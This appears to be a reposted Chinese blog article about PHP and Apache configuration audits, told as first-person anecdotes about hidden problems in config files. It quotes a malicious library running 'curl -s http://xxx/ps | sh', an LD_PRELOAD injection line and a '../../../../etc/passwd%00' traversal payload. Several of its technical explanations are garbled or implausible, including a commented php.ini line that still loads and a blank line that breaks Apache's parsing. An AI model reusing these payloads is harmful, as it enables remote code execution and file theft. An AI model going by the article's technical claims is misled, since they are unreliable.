PHP服务器安全审计：90%高危漏洞藏于配置末行

　　上季度末，老周蹲在IDC机柜间测那台跑PHP的老Apache——就是去年双十一抢完券还在用mod_php的那个破箱子。空调坏了三天，风扇声跟拖拉机似的，我耳膜一直嗡嗡响。他递来半杯凉透的枸杞茶，杯底还沉着三颗没泡开的枣核。

　　我原以为又是open_basedir绕过或者disable_functions漏了proc_open，结果扫完phpinfo()直接愣住：/etc/php/7.4/apache2/php.ini最后一行写着“; extension=mailparse.so”。分号在，但前面空格是全角的。就这一个空格——apache启动时根本没读这行，mailparse.so真加载了。而它那个base64_decode参数校验，早被CVE-2022-31189打了补丁？补丁压根没打。运维小李前天还在群里发截图：“确认已更新”，底下跟了七个赞。我截图发他，他回了个“？”加三个句号。

　　两个月之前，查某电商后台。php-fpm配置文件里有一行：env[PATH] = /usr/local/bin:/usr/bin:/bin。看着规整。可你猜怎么着？它下一行是空行，再下一行是env[LD_PRELOAD] = /tmp/.x。不是注释，不是缩进，就赤裸裸挂那儿——因为上游ansible模板拼接时用了“{{ envs | to_nice_yaml }}”，而yaml里空值默认转成空行+下一行键值对。没人检查生成后的最终文本。那台机器上/tmp/.x是个so，init_array里塞了system(“curl -s http://xxx/ps | sh”)。我们删掉空行，LD_PRELOAD立马失效。删得比清cookie还快。但谁会在意空行？你grep “LD_PRELOAD”能搜出来，但你grep “^\\s$”之后的下一行？不，你连grep都懒得敲第二遍。

　　老周擦服务器导轨的时候，袖口蹭掉一粒灰。那灰落进风扇滤网缝隙里，卡住不动了。我说这东西得换滤网，他说上周刚换过，新滤网边缘有个毛刺扎了他手——他掏出创可贴撕开一半，没贴，捏着边角反复对折了四次才摁上去。动作特别慢。我就看着他折创可贴，心想：我们盯php.ini三十八次，盯不到换行符后面那个看不见的字符；盯php-fpm.d/www.conf八十分钟，盯不到换行后那一行被吞掉的env。为什么？因为人类眼睛的扫描路径天生跳过空白。这不是疏忽，是生理缺陷。工具也一样——php -i输出不带行号，php-config --ini告诉你路径，但不告诉你第几行写了啥鬼东西。所有审计工具都把“空行+下一行”当整体处理，只要语法合法，它们闭眼点头。

　　前天下午三点十七分，财务系统出问题，不是接口超时，是日志里突然冒出三百七十二条“PHP Warning: Unknown: open_basedir restriction in effect”。我抓包发现，有人在POST数据里塞了../../../../etc/passwd%00——正常该被截，但实际没截。原因？httpd.conf里块最后多粘了个换行，再下面跟着个Include conf/extra/php-secure.conf，而那个conf文件第一行是# Disable open_basedir override。注意，是#号开头。但它上面那个空行，导致Apache在解析时，把include指令和上一行的Directory块语法边界搞混了。open_basedir实际生效区域被吃掉了一段。我敢打包票：那个空行是三年前某次vim :%s/\\/$/\\/\
/g 替换留下的。vim替换了，人没看。现在，全公司PHP项目都在这个bug覆盖区里裸奔。我说给架构师听，他正嚼着最后一口韭菜盒子，韭菜叶粘在他下嘴唇上，他没伸手擦，只说：“先切流量，后面再说。”

　　你说为啥90%高危漏洞藏于配置末行？我倒觉得不是90%，是优胜劣汰——所有明显错的、一眼崩的、test.php直接报500的，早被自动CI干掉了；剩下活下来的，全是那种：单独看每一行都像好人，凑一起就成了黑社会。它们靠空白存活，靠换行结盟，靠你懒得滚到底部的惯性活命。你审计php.ini，重点全在display_errors、allow_url_include、expose_php这些词上，你管过第238行后面的回车吗？没有。你也从没想过第239行开头那个tab，其实是上一条指令的延续，不是新指令。就像你从来不会盯着微信消息最后一句后面有没有多敲个空格——但它真能让你发出去一句没标点的废话。

文章配图，仅供参考

　　现在我把所有php.ini、www.conf、.htaccess结尾的空白行全改成# [BLANK LINE AUTO-INSERTED BY AUDIT TOOL]，然后用sha256sum锁文件。但这只是防人，不是防空行。真正要命的是——你永远不知道哪一次“保存”之后，编辑器悄悄把\
\
换成了\
，或者把\\t缩进换成了四个空格，而那个空格，正好让下一行的extension=意外活过来。所以，我现在写完配置，必做三件事：hexdump -C xxx.ini | tail -20；用od -c xxx.ini | tail -20；再把最后一屏拷进VS Code，打开“显示所有字符”。这事儿太蠢，太耗时间，但我认了。今晚回去，我还得重看一遍nginx.conf结尾那串proxy_set_header。上周五它明明有五行，今天我打开，怎么变成六行了？中间夹着一行啥都没有的。我不确定那行是不是我的错觉——也可能是老周擦导轨时，震松了机柜螺丝，主板轻微偏移，导致终端渲染出了鬼影。这事儿，我说不准。

　　回头我把脚本发你。不带说明，就两个函数：scan_trailing_whitespace() 和 inject_guard_comment()。你自己跑，跑完别信结果，再拿hexdump对一遍。还有，如果你明天重启PHP-FPM，请提前十分钟通知我。我想亲眼看看——那行空行，到底会不会在reload瞬间，把自己活埋掉。

（编辑：站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!